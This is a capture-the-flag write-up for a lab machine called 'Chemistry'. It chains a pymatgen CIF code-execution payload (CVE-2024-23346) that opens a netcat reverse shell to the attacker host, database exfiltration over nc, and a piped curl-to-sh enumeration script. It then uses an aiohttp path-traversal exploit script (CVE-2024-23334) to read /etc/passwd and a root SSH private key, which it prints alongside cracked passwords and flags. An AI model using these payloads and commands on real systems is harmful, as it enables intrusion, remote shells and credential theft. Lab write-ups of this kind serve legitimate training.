Chemistry
Recon
HTTP (5000)

Creds:
x:y

Example CIF: http://10.129.194.131:5000/static/example.cif
└─$ file example.cif
example.cif: ASCII text
└─$ bat example.cif
───────┬───────────────────────────────────────
│ File: example.cif
───────┼───────────────────────────────────────
1 │ data_Example
2 │ _cell_length_a 10.00000
3 │ _cell_length_b 10.00000
4 │ _cell_length_c 10.00000
5 │ _cell_angle_alpha 90.00000
6 │ _cell_angle_beta 90.00000
7 │ _cell_angle_gamma 90.00000
8 │ _symmetry_space_group_name_H-M 'P 1'
9 │ loop_
10 │ _atom_site_label
11 │ _atom_site_fract_x
12 │ _atom_site_fract_y
13 │ _atom_site_fract_z
14 │ _atom_site_occupancy
15 │ H 0.00000 0.00000 0.00000 1
16 │ O 0.50000 0.50000 0.50000 1
───────┴──────────────────────────────────────
CVE-2024-23346
Critical Security Flaw in Pymatgen Library (CVE-2024-23346)
PoC that worked:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("busybox nc 10.10.14.63 4444 -e sh");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Reverse Shell
└─$ listen
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.250.174:39628.
id
uid=1001(app) gid=1001(app) groups=1001(app)
script /dev/null -qc /bin/bash
app@chemistry:~$
Source
app.py
source:
from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
db = SQLAlchemy(app)
login_manager = LoginManager(app)
login_manager.login_view = 'login'
class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(150), nullable=False, unique=True)
password = db.Column(db.String(150), nullable=False)
class Structure(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
filename = db.Column(db.String(150), nullable=False)
identifier = db.Column(db.String(100), nullable=False, unique=True)
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']
def calculate_density(structure):
atomic_mass_Si = 28.0855
num_atoms = 2
mass_unit_cell = num_atoms * atomic_mass_Si
mass_in_grams = mass_unit_cell * 1.66053906660e-24
volume_in_cm3 = structure.lattice.volume * 1e-24
density = mass_in_grams / volume_in_cm3
return density
@app.route('/')
def index():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if User.query.filter_by(username=username).first():
flash('Username already exists.')
return redirect(url_for('register'))
hashed_password = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password=hashed_password)
db.session.add(new_user)
db.session.commit()
login_user(new_user)
return redirect(url_for('dashboard'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter_by(username=username).first()
if user and user.password == hashlib.md5(password.encode()).hexdigest():
login_user(user)
return redirect(url_for('dashboard'))
flash('Invalid credentials')
return render_template('login.html')
@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))
@app.route('/dashboard')
@login_required
def dashboard():
structures = Structure.query.filter_by(user_id=current_user.id).all()
return render_template('dashboard.html', structures=structures)
@app.route('/upload', methods=['POST'])
@login_required
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
identifier = str(uuid.uuid4())
filepath = os.path.join(app.config['UPLOAD_FOLDER'], identifier + '_' + filename)
file.save(filepath)
new_structure = Structure(user_id=current_user.id, filename=filename, identifier=identifier)
db.session.add(new_structure)
db.session.commit()
return redirect(url_for('dashboard'))
return redirect(request.url)
@app.route('/structure/<identifier>')
@login_required
def show_structure(identifier):
structure_entry = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure_entry.identifier + '_' + structure_entry.filename)
parser = CifParser(filepath)
structures = parser.parse_structures()
structure_data = []
for structure in structures:
sites = [{
'label': site.species_string,
'x': site.frac_coords[0],
'y': site.frac_coords[1],
'z': site.frac_coords[2]
} for site in structure.sites]
lattice = structure.lattice
lattice_data = {
'a': lattice.a,
'b': lattice.b,
'c': lattice.c,
'alpha': lattice.alpha,
'beta': lattice.beta,
'gamma': lattice.gamma,
'volume': lattice.volume
}
density = calculate_density(structure)
structure_data.append({
'formula': structure.formula,
'lattice': lattice_data,
'density': density,
'sites': sites
})
return render_template('structure.html', structures=structure_data)
@app.route('/delete_structure/<identifier>', methods=['POST'])
@login_required
def delete_structure(identifier):
structure = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure.identifier + '_' + structure.filename)
if os.path.exists(filepath):
os.remove(filepath)
db.session.delete(structure)
db.session.commit()
return redirect(url_for('dashboard'))
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', port=5000)
Database
app@chemistry:~$ base64 /home/app/instance/database.db | busybox nc 10.10.14.63 4444
---
└─$ listen 4444 > database.db.b64
└─$ base64 -d database.db.b64 > database.db

Drop hashes in https://crackstation.net:

SSH (rosa)
app@chemistry:~$ su - rosa
su - rosa
Password: unicorniosrosados
rosa@chemistry:~$ id
id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
User.txt
rosa@chemistry:~$ cat user.txt
14fb2b68238f333b4a3bd7a695839807
Privilege Escalation
First upgrade shell to SSH:
└─$ ssh-keygen -f rosa.id_rsa -P x -q
└─$ cat rosa.id_rsa.pub | clip
---
rosa@chemistry:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINvirX17C+in6MgoAiYVucoa9vOxx7QINS9Xu8gAHPlF woyag@kraken' >> ~/.ssh/authorized_keys
Enumerate:
rosa@chemistry:~$ curl 10.10.14.63/lp.sh|sh|tee /tmp/lp.log
...
root 1035 0.0 1.3 35420 27600 ? Ss Oct17 0:00 /usr/bin/python3.9 /opt/monitoring_site/app.py
app 8793 1.2 4.6 272136 92096 ? Ssl 19:39 0:00 /usr/bin/python3.9 /home/app/app.py
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Site Monitoring
We don't have permission to read files in /opt
, port forward the application.
└─$ ssh rosa@10.129.250.174 -i rosa.id_rsa -L 8000:0:8080

CVE-2024-23334
Server version is disclosed via headers
└─$ curl 0:8000/static -i
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
Content-Length: 14
Date: Sat, 19 Oct 2024 20:08:59 GMT
Server: Python/3.9 aiohttp/3.9.1
404: Not Found
https://github.com/z3rObyte/CVE-2024-23334-PoC
#!/bin/bash
url="http://localhost:8000"
string="../"
payload="/assets/css/"
file="etc/passwd" # without the first /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done
└─$ bash exploit.sh
[+] Testing with /assets/css/../etc/passwd
Status code --> 404
[+] Testing with /assets/css/../../etc/passwd
Status code --> 404
[+] Testing with /assets/css/../../../etc/passwd
Status code --> 404
[+] Testing with /assets/css/../../../../etc/passwd
Status code --> 200
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
/opt/monitoring_site/app.py
import aiohttp
import aiohttp_jinja2
import jinja2
import os
import json
import re
from aiohttp import web
import subprocess
async def list_services(request):
# Logic to retrieve and return the list of services
services = subprocess.check_output(['service', '--status-all']).decode('utf-8').split('\n')
return web.json_response({"services": services})
async def index(request):
# Load sample data from a JSON file
with open('data/data.json') as f:
data = json.load(f)
return aiohttp_jinja2.render_template('index.html', request, data)
app = web.Application()
aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader('templates'))
app.router.add_get('/', index)
app.router.add_static('/assets/', path='static/', follow_symlinks=True)
app.router.add_get('/list_services', list_services)
if __name__ == '__main__':
web.run_app(app, host='127.0.0.1', port=8080)
SSH (root)
root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
└─$ chmod 400 root.id_rsa
└─$ ssh root@10.129.250.174 -i root.id_rsa
Root.txt
root@chemistry:~# id
uid=0(root) gid=0(root) groups=0(root)
root@chemistry:~# ls
root.txt
root@chemistry:~# cat root.txt
6acb025280e8b1b906432d6ea2dbd6ac
Last updated